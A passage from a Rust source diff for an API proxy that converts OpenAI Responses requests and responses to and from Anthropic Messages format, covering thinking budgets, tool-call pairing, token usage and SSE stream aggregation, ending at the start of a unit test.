+/// cache-creation price. +pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Value { + let u = match usage { + Some(v) if v.is_object() => v, + _ => { + return json!({ + "input_tokens": 0, + "output_tokens": 0, + "total_tokens": 0, + "output_tokens_details": { "reasoning_tokens": 0 } + }) + } + }; + + let fresh_input = u.get("input_tokens").and_then(|v| v.as_u64()).unwrap_or(0); + let output = u.get("output_tokens").and_then(|v| v.as_u64()).unwrap_or(0); + let reasoning = u + .pointer("/output_tokens_details/thinking_tokens") + .and_then(|v| v.as_u64()) + .unwrap_or(0); + let cache_read = u + .get("cache_read_input_tokens") + .and_then(|v| v.as_u64()) + .unwrap_or(0); + let cache_creation = u + .get("cache_creation_input_tokens") + .and_then(|v| v.as_u64()) + .unwrap_or(0); + + let input_tokens = fresh_input.saturating_add(cache_read); + let total_tokens = input_tokens + .saturating_add(cache_creation) + .saturating_add(output); + + let mut result = json!({ + "input_tokens": input_tokens, + "output_tokens": output, + "total_tokens": total_tokens, + "output_tokens_details": { "reasoning_tokens": reasoning } + }); + if cache_read > 0 { + result["input_tokens_details"] = json!({ "cached_tokens": cache_read }); + } + // Explicitly pass through cache_creation so the downstream usage parser (from_codex_response) attributes billing correctly. + if cache_creation > 0 { + result["cache_creation_input_tokens"] = json!(cache_creation); + } + result +} + +/// OpenAI Responses request → Anthropic Messages request +/// +/// `default_max_tokens`: injected when the Responses body has no +/// `max_output_tokens` (Anthropic's `max_tokens` is required; missing it yields a 400). +pub fn responses_request_to_anthropic( + body: Value, + default_max_tokens: u64, +) -> Result { + let mut result = json!({}); + let tool_context = build_codex_tool_context_from_request(&body); + let model = body + .get("model") + .and_then(|value| value.as_str()) + .unwrap_or(""); + + // Pass model through (the upstream model has already been applied by the forwarder) + if let Some(model) = body.get("model").and_then(|m| m.as_str()) { + result["model"] = json!(model); + } + + // instructions → system + if let Some(instructions) = body.get("instructions").and_then(|v| v.as_str()) { + if !instructions.is_empty() { + result["system"] = json!(instructions); + } + } + + // input → messages + let mut messages = match body.get("input") { + Some(Value::Array(items)) => convert_input_to_messages(items, &tool_context)?, + Some(Value::String(text)) if is_meaningful_text(text) => vec![json!({ + "role": "user", + "content": [{ "type": "text", "text": text }] + })], + _ => Vec::new(), + }; + // Anthropic /v1/messages requires messages to be non-empty and the first to be user. + // Normalize the history (compacted/resumed sessions may start with + // assistant/function_call, or input may be entirely reasoning and thus empty after being dropped). + // Drop incomplete tool turns first (they would otherwise 400), then guarantee a leading user. + drop_incomplete_tool_turns(&mut messages); + drop_empty_messages(&mut messages); + ensure_leading_user_message(&mut messages); + if messages.is_empty() { + return Err(ProxyError::InvalidRequest( + "cannot convert Codex request: empty messages".to_string(), + )); + } + trim_trailing_assistant_text(&mut messages); + drop_empty_messages(&mut messages); + if messages.is_empty() { + return Err(ProxyError::InvalidRequest( + "cannot convert Codex request: empty messages".to_string(), + )); + } + let thinking_history_is_valid = trailing_turn_supports_thinking(&messages); + result["messages"] = json!(messages); + + let reasoning_effort = body + .pointer("/reasoning/effort") + .and_then(|value| value.as_str()); + let adaptive_model = crate::proxy::thinking_optimizer::uses_adaptive_thinking(model); + let adaptive_by_default = crate::proxy::thinking_optimizer::adaptive_thinking_is_default(model); + let cannot_disable_thinking = + crate::proxy::thinking_optimizer::thinking_cannot_be_disabled(model); + + // max_output_tokens → max_tokens (required) + let max_tokens = body + .get("max_output_tokens") + .and_then(|v| v.as_u64()) + .filter(|v| *v > 0) + .unwrap_or(default_max_tokens); + let mut thinking_enabled = false; + let mut thinking_budget = reasoning_effort + .and_then(effort_to_thinking_budget) + .unwrap_or(0); + let explicitly_disabled = reasoning_explicitly_disabled(reasoning_effort); + let adaptive_should_think = adaptive_model + && (adaptive_by_default + || reasoning_effort + .and_then(codex_effort_to_anthropic) + .is_some()); + + if !thinking_history_is_valid { + if cannot_disable_thinking { + return Err(ProxyError::InvalidRequest( + "Anthropic model requires thinking, but the tool history has no signed thinking block to replay" + .to_string(), + )); + } + if adaptive_should_think { + result["thinking"] = json!({ "type": "disabled" }); + } + } else if adaptive_should_think && (!explicitly_disabled || cannot_disable_thinking) { + thinking_enabled = true; + result["thinking"] = json!({ "type": "adaptive" }); + if let Some(effort) = reasoning_effort.and_then(codex_effort_to_anthropic) { + result["output_config"] = json!({ "effort": effort }); + } else if explicitly_disabled && cannot_disable_thinking { + // Fable/Mythos cannot turn thinking off. `low` is the closest safe + // representation of Codex's explicit `none` request. + result["output_config"] = json!({ "effort": "low" }); + } + } else if explicitly_disabled { + result["thinking"] = json!({ "type": "disabled" }); + } else if thinking_budget > 0 { + thinking_enabled = true; + // Anthropic requires max_tokens > budget_tokens and budget >= 1024. Reserve + // headroom for the visible answer: cap the thinking budget at half of max_tokens + // so a large derived budget (e.g. 24576 for xhigh) can't consume nearly all of a + // modest max_tokens and leave ~1 output token (an effectively empty completion). + // Do not raise the caller's max_tokens (it may exceed the model's output ceiling + // and 400). If the remaining budget is below Anthropic's 1024 floor, disable + // thinking and restore normal sampling. + let ceiling = max_tokens / 2; + thinking_budget = thinking_budget.min(ceiling); + if thinking_budget < 1024 { + thinking_enabled = false; + } + } + result["max_tokens"] = json!(max_tokens); + + if thinking_enabled && !adaptive_model { + result["thinking"] = json!({ + "type": "enabled", + "budget_tokens": thinking_budget + }); + } + + if !thinking_enabled { + if let Some(v) = body.get("temperature") { + result["temperature"] = v.clone(); + } + if let Some(v) = body.get("top_p") { + result["top_p"] = v.clone(); + } + } + + if let Some(v) = body.get("stream") { + result["stream"] = v.clone(); + } + + // Reuse the Codex tool context so function, namespace, custom, tool_search, and + // dynamically loaded tools all receive stable flat names upstream. + let anth_tools: Vec = tool_context + .chat_tools() + .iter() + .filter_map(chat_tool_to_anthropic_tool) + .collect(); + let has_tools = !anth_tools.is_empty(); + if has_tools { + result["tools"] = json!(anth_tools); + } + + // Only forward tool_choice when tools survived the filter. Anthropic 400s on a + // tool_choice with no tools ("tool_choice may only be specified while providing + // tools"), and that 400 is non-retryable — so a request whose only tools were + // unsupported hosted tools (for example web_search) must drop tool_choice too. + if has_tools { + if let Some(tc) = body.get("tool_choice") { + let mapped = map_tool_choice_to_anthropic(tc, &tool_context); + let forced = matches!( + mapped.get("type").and_then(|value| value.as_str()), + Some("any" | "tool") + ); + if thinking_enabled && forced { + if cannot_disable_thinking { + return Err(ProxyError::InvalidRequest( + "Anthropic model requires adaptive thinking and cannot honor a forced tool_choice" + .to_string(), + )); + } + // Anthropic rejects forced tools while thinking is enabled. Preserve + // the caller's explicit tool constraint and disable thinking for this + // request instead of silently weakening `required`/named selection. + result["thinking"] = json!({ "type": "disabled" }); + result.as_object_mut().unwrap().remove("output_config"); + if let Some(value) = body.get("temperature") { + result["temperature"] = value.clone(); + } + if let Some(value) = body.get("top_p") { + result["top_p"] = value.clone(); + } + } + result["tool_choice"] = mapped; + } + + if body.get("parallel_tool_calls").and_then(Value::as_bool) == Some(false) { + if result.get("tool_choice").is_none() { + result["tool_choice"] = json!({ "type": "auto" }); + } + if let Some(tool_choice) = result.get_mut("tool_choice").and_then(Value::as_object_mut) + { + tool_choice.insert("disable_parallel_tool_use".to_string(), json!(true)); + } + } + } + + Ok(result) +} + +fn chat_tool_to_anthropic_tool(chat_tool: &Value) -> Option { + let function = chat_tool.get("function")?; + let name = function + .get("name") + .and_then(|value| value.as_str()) + .map(str::trim) + .filter(|value| !value.is_empty())?; + let mut tool = json!({ + "name": name, + "input_schema": function + .get("parameters") + .cloned() + .filter(|value| value.as_object().is_some_and(|object| !object.is_empty())) + .unwrap_or_else(|| json!({ "type": "object", "properties": {} })) + }); + if let Some(description) = function.get("description").and_then(|value| value.as_str()) { + tool["description"] = json!(description); + } + if let Some(strict) = function.get("strict").and_then(|value| value.as_bool()) { + tool["strict"] = json!(strict); + } + Some(tool) +} + +/// tool_choice: Responses → Anthropic (the reverse of `map_tool_choice_to_responses`) +fn map_tool_choice_to_anthropic(tool_choice: &Value, tool_context: &CodexToolContext) -> Value { + match tool_choice { + Value::String(s) => match s.as_str() { + "required" => json!({ "type": "any" }), + "auto" => json!({ "type": "auto" }), + "none" => json!({ "type": "none" }), + _ => json!({ "type": "auto" }), + }, + Value::Object(obj) => match obj.get("type").and_then(|t| t.as_str()) { + Some("function") => { + let name = obj.get("name").and_then(|n| n.as_str()).unwrap_or(""); + let namespace = obj.get("namespace").and_then(|value| value.as_str()); + let upstream_name = tool_context.chat_name_for_response_function(name, namespace); + json!({ "type": "tool", "name": upstream_name }) + } + Some("custom") => json!({ + "type": "tool", + "name": obj.get("name").and_then(|value| value.as_str()).unwrap_or("") + }), + Some("tool_search") => { + json!({ "type": "tool", "name": TOOL_SEARCH_PROXY_NAME }) + } + // Other object shapes (allowed_tools / hosted-tool selectors, etc.) are + // not recognized by Anthropic; downgrade to auto to avoid passing OpenAI's + // raw structure through and causing a 400. + _ => json!({ "type": "auto" }), + }, + _ => json!({ "type": "auto" }), + } +} + +/// Re-nests the flat Responses input[] back into Anthropic messages. +/// +/// - input_text/output_text → text block of the corresponding role +/// - input_image → image block +/// - function_call → assistant's tool_use block (merged with the preceding assistant text into the same message) +/// - function_call_output → user's tool_result block (consecutive ones merged into the same user message) +/// - Anthropic-origin reasoning.encrypted_content → restored signed thinking block +fn convert_input_to_messages( + items: &[Value], + tool_context: &CodexToolContext, +) -> Result, ProxyError> { + let mut messages: Vec = Vec::new(); + + for item in items { + match item.get("type").and_then(|t| t.as_str()) { + Some("function_call") => { + let call_id = item + .get("call_id") + .and_then(|v| v.as_str()) + .or_else(|| item.get("id").and_then(|v| v.as_str())) + .unwrap_or(""); + let name = item.get("name").and_then(|v| v.as_str()).unwrap_or(""); + let namespace = item.get("namespace").and_then(|value| value.as_str()); + let upstream_name = tool_context.chat_name_for_response_function(name, namespace); + let args_str = item.get("arguments").and_then(|v| v.as_str()).unwrap_or(""); + let input: Value = if args_str.trim().is_empty() { + json!({}) + } else { + serde_json::from_str(args_str).unwrap_or(json!({})) + }; + let input = sanitize_anthropic_tool_use_input(name, input); + push_block( + &mut messages, + "assistant", + json!({ + "type": "tool_use", + "id": call_id, + "name": upstream_name, + "input": input + }), + ); + } + Some("custom_tool_call") => { + let call_id = item + .get("call_id") + .and_then(|value| value.as_str()) + .or_else(|| item.get("id").and_then(|value| value.as_str())) + .unwrap_or(""); + let name = item + .get("name") + .and_then(|value| value.as_str()) + .unwrap_or(""); + let input = item.get("input").cloned().unwrap_or_else(|| json!("")); + push_block( + &mut messages, + "assistant", + json!({ + "type": "tool_use", + "id": call_id, + "name": name, + "input": { "input": input } + }), + ); + } + Some("tool_search_call") => { + let call_id = item + .get("call_id") + .and_then(|value| value.as_str()) + .or_else(|| item.get("id").and_then(|value| value.as_str())) + .unwrap_or(""); + let input = item + .get("arguments") + .cloned() + .filter(Value::is_object) + .unwrap_or_else(|| json!({})); + push_block( + &mut messages, + "assistant", + json!({ + "type": "tool_use", + "id": call_id, + "name": TOOL_SEARCH_PROXY_NAME, + "input": input + }), + ); + } + Some("function_call_output" | "custom_tool_call_output" | "tool_search_output") => { + let call_id = item.get("call_id").and_then(|v| v.as_str()).unwrap_or(""); + let output = tool_result_content_from_responses_item(item); + push_tool_result_block( + &mut messages, + json!({ + "type": "tool_result", + "tool_use_id": call_id, + "content": output + }), + ); + } + Some("input_text") => { + if let Some(text) = item + .get("text") + .and_then(Value::as_str) + .filter(|text| is_meaningful_text(text)) + { + push_block( + &mut messages, + "user", + json!({ "type": "text", "text": text }), + ); + } + } + Some("input_image") => { + if let Some(block) = image_block_from_input_image(item) { + push_block(&mut messages, "user", block); + } + } + Some("reasoning") => { + if let Some(block) = item + .get("encrypted_content") + .and_then(|value| value.as_str()) + .and_then(decode_anthropic_thinking_block) + { + push_assistant_thinking_block(&mut messages, block); + } + } + // message item or an item carrying a role + _ => { + let role = item.get("role").and_then(|r| r.as_str()).unwrap_or("user"); + let anth_role = if role == "assistant" { + "assistant" + } else { + "user" + }; + match item.get("content") { + Some(Value::String(text)) if is_meaningful_text(text) => { + push_block( + &mut messages, + anth_role, + json!({ "type": "text", "text": text }), + ); + } + Some(Value::Array(parts)) => { + for part in parts { + let part_type = part.get("type").and_then(|t| t.as_str()).unwrap_or(""); + match part_type { + "input_text" | "output_text" => { + if let Some(text) = part + .get("text") + .and_then(|t| t.as_str()) + .filter(|t| is_meaningful_text(t)) + { + push_block( + &mut messages, + anth_role, + json!({ "type": "text", "text": text }), + ); + } + } + "refusal" => { + if let Some(text) = part + .get("refusal") + .and_then(|t| t.as_str()) + .filter(|t| is_meaningful_text(t)) + { + push_block( + &mut messages, + anth_role, + json!({ "type": "text", "text": text }), + ); + } + } + "input_image" => { + if let Some(block) = image_block_from_input_image(part) { + push_block(&mut messages, anth_role, block); + } + } + _ => {} + } + } + } + _ => {} + } + } + } + } + + Ok(messages) +} + +fn tool_result_content_from_responses_item(item: &Value) -> Value { + match item.get("output") { + Some(Value::String(text)) => json!(text), + Some(Value::Array(parts)) => { + let content: Vec = parts + .iter() + .filter_map(|part| match part.get("type").and_then(Value::as_str) { + Some("input_text" | "output_text") => part + .get("text") + .and_then(Value::as_str) + .map(|text| json!({ "type": "text", "text": text })), + Some("input_image") => image_block_from_input_image(part), + _ => None, + }) + .collect(); + if content.is_empty() { + json!(canonical_json_string(&Value::Array(parts.clone()))) + } else { + Value::Array(content) + } + } + Some(value) => json!(canonical_json_string(value)), + None => json!(canonical_json_string(item)), + } +} + +/// Ensures the first message is a user: compacted/resumed sessions may start with +/// assistant or function_call, but Anthropic requires the first to be user, else 400. +/// An empty array is not handled (the caller decides whether to error). +fn ensure_leading_user_message(messages: &mut Vec) { + let leads_with_user = messages + .first() + .and_then(|m| m.get("role")) + .and_then(|r| r.as_str()) + == Some("user"); + if !messages.is_empty() && !leads_with_user { + messages.insert( + 0, + json!({ + "role": "user", + "content": [{ "type": "text", "text": "(continuing the conversation)" }] + }), + ); + } +} + +/// Removes compacted/resumed tool turns that no longer form a complete adjacent +/// assistant `tool_use` → user `tool_result` pair. Anthropic requires every tool +/// call in an assistant turn to be answered together in the immediately following +/// user turn. Dropping the whole incomplete assistant turn also avoids modifying a +/// subset of a signed thinking/tool-use response. +fn drop_incomplete_tool_turns(messages: &mut Vec) { + let original = std::mem::take(messages); + let mut sanitized = Vec::with_capacity(original.len()); + let mut index = 0; + + while index < original.len() { + let message = &original[index]; + let is_assistant = message.get("role").and_then(Value::as_str) == Some("assistant"); + let tool_use_ids = if is_assistant { + message_block_ids(message, "tool_use", "id") + } else { + Vec::new() + }; + + if !tool_use_ids.is_empty() { + let paired_user = original + .get(index + 1) + .filter(|next| next.get("role").and_then(Value::as_str) == Some("user")); + let tool_result_ids = paired_user + .map(|user| message_block_ids(user, "tool_result", "tool_use_id")) + .unwrap_or_default(); + let unique_tool_uses: HashSet<&str> = tool_use_ids.iter().copied().collect(); + let unique_tool_results: HashSet<&str> = tool_result_ids.iter().copied().collect(); + let complete = tool_use_ids.iter().all(|id| !id.is_empty()) + && tool_result_ids.iter().all(|id| !id.is_empty()) + && unique_tool_uses.len() == tool_use_ids.len() + && unique_tool_results.len() == tool_result_ids.len() + && unique_tool_uses == unique_tool_results; + + if complete { + sanitized.push(message.clone()); + sanitized.push(paired_user.unwrap().clone()); + } else if let Some(user) = paired_user { + let mut user = user.clone(); + drop_tool_result_blocks(&mut user); + if message_has_content(&user) { + sanitized.push(user); + } + } + + index += if paired_user.is_some() { 2 } else { 1 }; + continue; + } + + let mut message = message.clone(); + if message.get("role").and_then(Value::as_str) == Some("user") { + // A user message not consumed as the adjacent half of a complete tool + // pair cannot legally retain any tool_result blocks. + drop_tool_result_blocks(&mut message); + } + if message_has_content(&message) { + sanitized.push(message); + } + index += 1; + } + + *messages = sanitized; +} + +fn message_block_ids<'a>(message: &'a Value, block_type: &str, id_field: &str) -> Vec<&'a str> { + message + .get("content") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter(|block| block.get("type").and_then(Value::as_str) == Some(block_type)) + .map(|block| block.get(id_field).and_then(Value::as_str).unwrap_or("")) + .collect() +} + +fn drop_tool_result_blocks(message: &mut Value) { + if let Some(content) = message.get_mut("content").and_then(Value::as_array_mut) { + content.retain(|block| block.get("type").and_then(Value::as_str) != Some("tool_result")); + } +} + +fn message_has_content(message: &Value) -> bool { + message + .get("content") + .and_then(Value::as_array) + .map(|content| !content.is_empty()) + .unwrap_or(true) +} + +/// A fresh user prompt can start a new thinking turn. A tool-result continuation +/// may keep thinking enabled only when the preceding assistant turn includes the +/// signed thinking/redacted-thinking block that Anthropic requires callers to replay. +fn trailing_turn_supports_thinking(messages: &[Value]) -> bool { + let Some(last) = messages.last() else { + return false; + }; + if last.get("role").and_then(Value::as_str) != Some("user") { + return false; + } + let mut tool_result_ids = Vec::new(); + if let Some(blocks) = last.get("content").and_then(Value::as_array) { + for block in blocks { + if block.get("type").and_then(Value::as_str) != Some("tool_result") { + continue; + } + let Some(id) = block + .get("tool_use_id") + .and_then(Value::as_str) + .filter(|id| !id.is_empty()) + else { + return false; + }; + tool_result_ids.push(id); + } + } + if tool_result_ids.is_empty() { + return true; + } + + // A tool-result turn answers the immediately preceding assistant tool-use turn. + // Looking any farther back can pick up an unrelated signed thinking block and + // incorrectly re-enable thinking for an unsigned tool call. + let Some(paired_assistant) = messages.get(messages.len().saturating_sub(2)) else { + return false; + }; + if paired_assistant.get("role").and_then(Value::as_str) != Some("assistant") { + return false; + } + let Some(blocks) = paired_assistant.get("content").and_then(Value::as_array) else { + return false; + }; + let has_signed_thinking = blocks.iter().any(|block| { + matches!( + block.get("type").and_then(Value::as_str), + Some("thinking" | "redacted_thinking") + ) + }); + if !has_signed_thinking { + return false; + } + + let paired_tool_use_ids: HashSet<&str> = blocks + .iter() + .filter(|block| block.get("type").and_then(Value::as_str) == Some("tool_use")) + .filter_map(|block| block.get("id").and_then(Value::as_str)) + .collect(); + tool_result_ids + .iter() + .all(|id| paired_tool_use_ids.contains(id)) +} + +/// Removes whitespace-only assistant prefills and trims trailing whitespace from a +/// real prefill. Anthropic rejects an assistant prefill whose final text ends in +/// whitespace, and Codex may replay an empty assistant text beside a tool call. +fn trim_trailing_assistant_text(messages: &mut [Value]) { + let Some(last) = messages.last_mut() else { + return; + }; + if last.get("role").and_then(Value::as_str) != Some("assistant") { + return; + } + let Some(blocks) = last.get_mut("content").and_then(Value::as_array_mut) else { + return; + }; + let Some(block) = blocks.last_mut() else { + return; + }; + if block.get("type").and_then(Value::as_str) != Some("text") { + return; + } + let Some(text) = block.get("text").and_then(Value::as_str) else { + return; + }; + let trimmed = text.trim_end(); + if trimmed.is_empty() { + blocks.pop(); + } else if trimmed.len() != text.len() { + block["text"] = json!(trimmed); + } +} + +/// Anthropic 400s on a text content block whose text is empty or whitespace-only. +/// Such blocks arise when a prior Responses turn recorded an empty +/// input_text/output_text (e.g. an empty assistant text emitted alongside a +/// tool_use); replaying it verbatim would fail the next follow-up request. +fn is_meaningful_text(text: &str) -> bool { + !text.trim().is_empty() +} + +/// Removes messages whose content array ended up empty (e.g. a turn that carried +/// only empty text that was filtered out). Anthropic 400s on empty content. +fn drop_empty_messages(messages: &mut Vec) { + messages.retain(|msg| { + msg.get("content") + .and_then(|c| c.as_array()) + .map(|arr| !arr.is_empty()) + .unwrap_or(true) + }); +} + +/// Appends a content block to messages: merge if the last message has the same role, otherwise create a new message. +fn push_block(messages: &mut Vec, role: &str, block: Value) { + if let Some(last) = messages.last_mut() { + if last.get("role").and_then(|r| r.as_str()) == Some(role) { + if let Some(arr) = last.get_mut("content").and_then(|c| c.as_array_mut()) { + arr.push(block); + return; + } + } + } + messages.push(json!({ + "role": role, + "content": [block] + })); +} + +/// Appends a tool result to a user turn while preserving Anthropic's required +/// ordering: every tool_result block must precede any text or image blocks. +fn push_tool_result_block(messages: &mut Vec, block: Value) { + if let Some(last) = messages.last_mut() { + if last.get("role").and_then(Value::as_str) == Some("user") { + if let Some(content) = last.get_mut("content").and_then(Value::as_array_mut) { + let insert_at = content + .iter() + .position(|item| { + item.get("type").and_then(Value::as_str) != Some("tool_result") + }) + .unwrap_or(content.len()); + content.insert(insert_at, block); + return; + } + } + } + messages.push(json!({ + "role": "user", + "content": [block] + })); +} + +fn push_assistant_thinking_block(messages: &mut Vec, block: Value) { + if let Some(last) = messages.last_mut() { + if last.get("role").and_then(Value::as_str) == Some("assistant") { + if let Some(content) = last.get_mut("content").and_then(Value::as_array_mut) { + let index = content + .iter() + .take_while(|item| { + matches!( + item.get("type").and_then(Value::as_str), + Some("thinking" | "redacted_thinking") + ) + }) + .count(); + content.insert(index, block); + return; + } + } + } + push_block(messages, "assistant", block); +} + +/// Responses' input_image → Anthropic image block. +fn image_block_from_input_image(part: &Value) -> Option { + let url = part.get("image_url").and_then(|v| { + v.as_str() + .map(str::to_string) + .or_else(|| v.get("url").and_then(|u| u.as_str()).map(str::to_string)) + })?; + + if let Some(rest) = url.strip_prefix("data:") { + // data:;base64, + let (meta, data) = rest.split_once(',')?; + let media_type = meta.split(';').next().unwrap_or("image/png"); + Some(json!({ + "type": "image", + "source": { + "type": "base64", + "media_type": media_type, + "data": data + } + })) + } else if url.starts_with("http://") || url.starts_with("https://") { + Some(json!({ + "type": "image", + "source": { "type": "url", "url": url } + })) + } else { + None + } +} + +/// Anthropic Messages response → OpenAI Responses response (non-streaming) +#[allow(dead_code)] +pub fn anthropic_response_to_responses(body: Value) -> Result { + anthropic_response_to_responses_with_context(body, &CodexToolContext::default()) +} + +pub(crate) fn anthropic_response_to_responses_with_context( + body: Value, + tool_context: &CodexToolContext, +) -> Result { + if body.get("type").and_then(Value::as_str) == Some("error") || body.get("error").is_some() { + let error = body.get("error").unwrap_or(&body); + let message = error + .get("message") + .and_then(Value::as_str) + .or_else(|| error.as_str()) + .unwrap_or("Anthropic upstream returned an error envelope"); + let error_type = error.get("type").and_then(Value::as_str).unwrap_or("error"); + return Err(ProxyError::TransformError(format!( + "Anthropic upstream {error_type}: {message}" + ))); + } + + let id = body.get("id").and_then(|i| i.as_str()).unwrap_or(""); + let response_id = if id.is_empty() { + "resp_ccswitch".to_string() + } else if id.starts_with("resp_") { + id.to_string() + } else { + format!("resp_{id}") + }; + let model = body.get("model").and_then(|m| m.as_str()).unwrap_or(""); + + let mut output: Vec = Vec::new(); + let mut text_parts: Vec = Vec::new(); + + let flush_text = |output: &mut Vec, text_parts: &mut Vec| { + if !text_parts.is_empty() { + let idx = output.len(); + output.push(json!({ + "id": format!("{response_id}_msg_{idx}"), + "type": "message", + "status": "completed", + "role": "assistant", + "content": std::mem::take(text_parts) + })); + } + }; + + if let Some(blocks) = body.get("content").and_then(|c| c.as_array()) { + for block in blocks { + match block.get("type").and_then(|t| t.as_str()).unwrap_or("") { + "text" => { + if let Some(text) = block.get("text").and_then(|t| t.as_str()) { + text_parts.push(json!({ + "type": "output_text", + "text": text, + "annotations": [] + })); + } + } + "tool_use" => { + flush_text(&mut output, &mut text_parts); + let call_id = block.get("id").and_then(|v| v.as_str()).unwrap_or(""); + let name = block.get("name").and_then(|v| v.as_str()).unwrap_or(""); + let input = block.get("input").cloned().unwrap_or(json!({})); + let input = sanitize_anthropic_tool_use_input(name, input); + let item_id = + response_tool_call_item_id_from_chat_name(call_id, name, tool_context); + output.push(response_tool_call_item_from_chat_name( + &item_id, + "completed", + call_id, + name, + &canonical_json_string(&input), + None, + tool_context, + )); + } + "thinking" | "redacted_thinking" => { + flush_text(&mut output, &mut text_parts); + let idx = output.len(); + if let Some(item) = responses_reasoning_item_from_anthropic_block( + &format!("rs_{response_id}_{idx}"), + block, + ) { + output.push(item); + } + } + _ => {} + } + } + } + flush_text(&mut output, &mut text_parts); + + let (status, incomplete_reason) = + map_anthropic_stop_reason_to_status(body.get("stop_reason").and_then(|s| s.as_str())); + let usage = build_responses_usage_from_anthropic(body.get("usage")); + + let mut result = json!({ + "id": response_id, + "object": "response", + "created_at": 0, + "status": status, + "model": model, + "output": output, + "usage": usage + }); + if let Some(reason) = incomplete_reason { + result["incomplete_details"] = json!({ "reason": reason }); + } + + Ok(result) +} + +/// Aggregates an Anthropic Messages **SSE stream** (with no Content-Type marker) +/// back into a single Anthropic non-streaming message JSON. +/// +/// Used as a fallback: the upstream returned an SSE body for a `stream:false` +/// request but without the `text/event-stream` header (symmetric to the +/// `body_looks_like_sse` fallback on the chat / claude side, see #2234). The +/// aggregated message can be handed directly to [`anthropic_response_to_responses`]. +/// +/// It also tolerates the last event missing a trailing blank line (truncated +/// stream): after looping over complete event blocks, it processes the residual +/// buffer as the last event. +pub fn anthropic_sse_to_message_value(body: &str) -> Result { + let mut message: Option = None; + // Collect blocks by content index along with the partial_json accumulator for their tool_use. + let mut blocks: BTreeMap = BTreeMap::new(); + let mut json_accum: BTreeMap = BTreeMap::new(); + let mut stop_reason: Option = None; + let mut delta_output_tokens: Option = None; + let mut saw_message_stop = false; + + let mut buffer = body.to_string(); + let process_block = |block: &str, + message: &mut Option, + blocks: &mut BTreeMap, + json_accum: &mut BTreeMap, + stop_reason: &mut Option, + delta_output_tokens: &mut Option, + saw_message_stop: &mut bool| + -> Result<(), ProxyError> { + let mut data = String::new(); + for line in block.lines() { + if let Some(chunk) = strip_sse_field(line, "data") { + if !data.is_empty() { + data.push('\n'); + } + data.push_str(chunk); + } + } + if data.trim().is_empty() || data.trim() == "[DONE]" { + return Ok(()); + } + let value: Value = match serde_json::from_str(data.trim()) { + Ok(v) => v, + Err(_) => return Ok(()), // Skip events that cannot be parsed (ping, etc.) + }; + match value.get("type").and_then(|t| t.as_str()).unwrap_or("") { + "message_start" => { + if let Some(msg) = value.get("message") { + *message = Some(msg.clone()); + } + } + "content_block_start" => { + if let Some(index) = value.get("index").and_then(|v| v.as_u64()) { + let block = value.get("content_block").cloned().unwrap_or(json!({})); + blocks.insert(index, block); + json_accum.entry(index).or_default(); + } + } + "content_block_delta" => { + if let Some(index) = value.get("index").and_then(|v| v.as_u64()) { + let delta = value.get("delta").cloned().unwrap_or(json!({})); + match delta.get("type").and_then(|t| t.as_str()).unwrap_or("") { + "text_delta" => { + if let Some(text) = delta.get("text").and_then(|t| t.as_str()) { + append_str_field( + blocks.entry(index).or_insert(json!({})), + "text", + text, + ); + } + } + "thinking_delta" => { + if let Some(text) = delta.get("thinking").and_then(|t| t.as_str()) { + append_str_field( + blocks.entry(index).or_insert(json!({})), + "thinking", + text, + ); + } + } + "signature_delta" => { + if let Some(sig) = delta.get("signature").and_then(|t| t.as_str()) { + blocks.entry(index).or_insert(json!({}))["signature"] = json!(sig); + } + } + "input_json_delta" => { + if let Some(partial) = + delta.get("partial_json").and_then(|t| t.as_str()) + { + json_accum.entry(index).or_default().push_str(partial); + } + } + _ => {} + } + } + } + "content_block_stop" => { + if let Some(index) = value.get("index").and_then(|v| v.as_u64()) { + if let Some(accum) = json_accum.get(&index) { + if !accum.trim().is_empty() { + let parsed: Value = + serde_json::from_str(accum).unwrap_or_else(|_| json!({})); + if let Some(block) = blocks.get_mut(&index) { + block["input"] = parsed; + } + } + } + } + } + "message_delta" => { + if let Some(reason) = value.pointer("/delta/stop_reason").and_then(|v| v.as_str()) { + *stop_reason = Some(reason.to_string()); + } + if let Some(output) = value + .pointer("/usage/output_tokens") + .and_then(|v| v.as_u64()) + { + *delta_output_tokens = Some(output); + } + } + "message_stop" => *saw_message_stop = true, + "error" => { + let msg = value + .pointer("/error/message") + .and_then(|v| v.as_str()) + .unwrap_or("upstream anthropic SSE error"); + return Err(ProxyError::TransformError(format!( + "anthropic SSE error event: {msg}" + ))); + } + _ => {} + } + Ok(()) + }; + + while let Some(block) = take_sse_block(&mut buffer) { + process_block( + &block, + &mut message, + &mut blocks, + &mut json_accum, + &mut stop_reason, + &mut delta_output_tokens, + &mut saw_message_stop, + )?; + } + // Tolerate the last event missing a trailing blank line (truncated stream). + if !buffer.trim().is_empty() { + process_block( + &buffer.clone(), + &mut message, + &mut blocks, + &mut json_accum, + &mut stop_reason, + &mut delta_output_tokens, + &mut saw_message_stop, + )?; + } + + let mut message = message.ok_or_else(|| { + ProxyError::TransformError( + "anthropic SSE aggregation: missing message_start event".to_string(), + ) + })?; + + if !saw_message_stop && stop_reason.is_none() { + if blocks.is_empty() { + return Err(ProxyError::TransformError( + "anthropic SSE aggregation: stream ended before message_stop".to_string(), + )); + } + // Preserve partial content but make the truncation visible to Codex instead + // of returning a normal completed response. + stop_reason = Some("max_tokens".to_string()); + } + + // Merge in the content blocks (ordered by index), stop_reason, and the cumulative output_tokens. + let content: Vec = blocks.into_values().collect(); + message["content"] = json!(content); + if let Some(reason) = stop_reason { + message["stop_reason"] = json!(reason); + } + if let Some(output) = delta_output_tokens { + // message_delta's usage.output_tokens is a cumulative value, overriding the 0 from message_start. + if let Some(usage) = message.get_mut("usage").and_then(|u| u.as_object_mut()) { + usage.insert("output_tokens".to_string(), json!(output)); + } + } + + Ok(message) +} + +/// Appends content to a string field of a JSON object (creating it if absent). +fn append_str_field(block: &mut Value, field: &str, text: &str) { + let existing = block + .get(field) + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + block[field] = json!(format!("{existing}{text}")); +} + +#[cfg(test)] +mod tests { + use super::*; + + // ==================== Request: Responses → Anthropic ==================== + + #[test] + fn test_request_simple_text() { + let input = json!({ + "model": "claude-3-5-sonnet", + "max_output_tokens": 1024, + "input": [ + { "role": "user", "content": [{ "type": "input_text", "text": "Hello" }] } + ] + }); + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!(result["model"], "claude-3-5-sonnet"); + assert_eq!(result["max_tokens"], 1024); + assert_eq!(result["messages"][0]["role"], "user"); + assert_eq!(result["messages"][0]["content"][0]["type"], "text"); + 